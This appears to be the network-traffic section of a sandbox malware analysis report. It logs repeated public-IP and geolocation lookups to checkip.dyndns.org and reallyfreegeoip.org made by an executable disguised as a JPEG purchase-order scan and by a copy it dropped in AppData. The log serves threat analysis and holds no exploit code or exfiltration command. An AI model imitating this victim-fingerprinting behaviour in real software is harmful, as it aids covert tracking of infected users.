Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	193.122.130.0	80	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:10.527626038 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 25, 2024 09:18:11.211352110 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:11 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8187866ac1c89b21883caebc32e6647e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	193.122.130.0	80	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:10.908457041 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:11.696222067 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:11 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7116975d6190b5a808d93a1067b793df Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	193.122.130.0	80	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:12.005686998 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:13.136481047 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:13 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 53b6f0b99f76ec497d5b9dda555439d5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	193.122.130.0	80	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:12.511708975 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:13.886181116 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:13 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 19e5ffcd4f4d9c53f93176b175414612 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49757	193.122.130.0	80	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:14.043553114 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:15.272080898 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:15 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f01e864e400ca64230f96c39dad93e23 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49758	193.122.130.0	80	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:14.668287039 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:15.923504114 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:15 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5d45201cb8469aba17a2e2fbb113b526 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49762	193.122.130.0	80	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:16.052448034 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:16.714617014 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:16 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: abb033c40778d6d7ece2c328e6e533af Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49765	193.122.130.0	80	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:16.726078033 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:17.449722052 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:17 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4b6e335968c531c049a61631886a66f7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49769	193.122.130.0	80	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:17.481931925 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:18.420723915 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:18 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: eed0fa300fcbe57f4b990cab13ad51f4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49773	193.122.130.0	80	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:19.189542055 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:20.888344049 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:20 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c9a8748790eaa82f68bd2f81f127d51c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49776	193.122.130.0	80	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:21.701718092 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:22.365217924 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:22 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 94bc4edb684db190d7bd60977225c905 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	188.114.97.3	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:05 UTC	87	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-25 07:18:05 UTC	894	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:05 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 361 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wkou9CPsSDqOzSwNo0QBSnLV0rCmAAeQQ%2BC7YRLce53SImoVS%2BL0l1NgMsJyyszTgcUPeUE2B8yd4uBq7K13igCv36AuzJNUcvYNf2nB%2Btp4AbF%2FbwqGl0wV13odVLchFEkSeYd9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e3c4c9346c8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1133&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2490111&cwnd=251&unsent_bytes=0&cid=d7f0d202dd561c92&ts=278&x=0"
2024-10-25 07:18:05 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	188.114.97.3	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:06 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:06 UTC	894	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:06 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 362 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0PUjg61Pr8aN9bZMghMGzqhRT7HliVNvHL3SCPaCXHs%2Bgsz5L9q4d02u7hN%2BCJIPKw43hGZpVHJVSG7Qv4bqInlMmlXB%2FSgWWCUZu6oyXjz1aYJusNkZ1mybdi%2FzsSzRmMbuG02o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e423a486c26-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1026&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2688950&cwnd=250&unsent_bytes=0&cid=f4fae749c5754526&ts=150&x=0"
2024-10-25 07:18:06 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	188.114.97.3	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:07 UTC	87	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-25 07:18:07 UTC	894	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:07 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 363 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Weq%2FzXkPfawjjt7rwuggoHkSNDs5PgUg30iKqCRA7TDKzFd%2BoaILfIx55d2zEpk9NPIDD4mcPHn%2B5t1PN52yXPESpCkkXs292kDcU7t%2BSgyvwVWxr3IJDEJNG9IkBqdB6QcSCMm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e4b6ae3e909-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1323&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2153159&cwnd=247&unsent_bytes=0&cid=f384f482924f8fb3&ts=149&x=0"
2024-10-25 07:18:07 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	188.114.97.3	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:09 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:09 UTC	888	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:09 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 365 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yqNRhXLPpeX3RkeriO1aV%2BowLjpKAnDwSJdX85s2PlNVG6mJHj31RyCijYau8ASBJWChjP7nwUmo77n4Fop4CdDncHvg6PoN6c4NhsK2ENREroSZG4eMuqHQet40OL3I8vbUyyhk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e545b9b6c4f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1240&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2175807&cwnd=244&unsent_bytes=0&cid=d64038ccf8ab1812&ts=149&x=0"
2024-10-25 07:18:09 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	188.114.97.3	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:09 UTC	87	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-25 07:18:09 UTC	896	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:09 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 365 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TP4zXZeBAKtNBVHRBNPIi%2B7Br7x1CDiy8yfzpKYuFc8IcYbMY4vUYQytFEuJPKVjnfafK6A15jijkgnE3xRERcxMpxJuX%2BXXYuu62X4UDYjloD%2BLQMmwiYSgiq%2FvUPuL%2BHvjmpTR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e556861eaac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1191&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2298412&cwnd=236&unsent_bytes=0&cid=26009a1a2dbc1d23&ts=549&x=0"
